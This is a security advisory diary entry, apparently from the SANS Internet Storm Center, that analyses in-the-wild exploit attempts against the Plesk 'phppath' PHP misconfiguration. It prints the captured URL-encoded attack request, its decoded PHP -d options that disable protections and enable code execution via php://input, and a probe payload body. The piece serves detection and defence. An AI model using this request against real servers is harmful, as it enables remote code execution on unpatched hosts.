More heavily URL encoded PHP Exploits against Plesk "phppath" vulnerability
Thanks to a reader for sending in this log entry from his Apache Server:
POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E
%63%6C%75%64%65%3D%6F
%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E
%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E
%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F
%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Russ quickly decoded it to:
/phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n
T
This appears to be an exploit attempt against Plesk, a popular hosting management platform. A patch for this vulnerability was released in June [1]. We covered the vulnerability before, but continue to see exploit attempts like above. The exploit takes advantage of a configuration error, creating the script alias "phppath" that can be used to execute shell commands via php. The exploit above runs a little shell one-liner that accomplishes the following:
- allow URL includes to include remote files
- turn off safe mode to disable various protections
- turn of the suhosin patch (turn it into "simulation mode" so it doesn't block anything
- set the "disabled function" to an empty string to overwrite any such setting in your php configuration file
- and autoprepending "php://input", which will execute any php scripts submitted as part of the body of this request
Please let us know if you are able to capture the body of the request!
Thanks to another reader for submitting a packet capture of a full request:
The Headers:
Host: <IP Address>
Content-Type: application/x-ww-forum-urlencoded
Content-Lenght: 64
<?php echo "Content-Type: text/html\r\n\r\n"; echo "___2pac\n"; ?>
This payload will just print the string ___2pac, likely to detect if the vulnerability exists. No user agent is sent, which should make it easy to block these requests using standard mod_security rules.
[1] http://kb.parallels.com/en/116241
[2] https://isc.sans.edu/diary/Plesk+0-day+Real+or+not+/15950
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter
Comments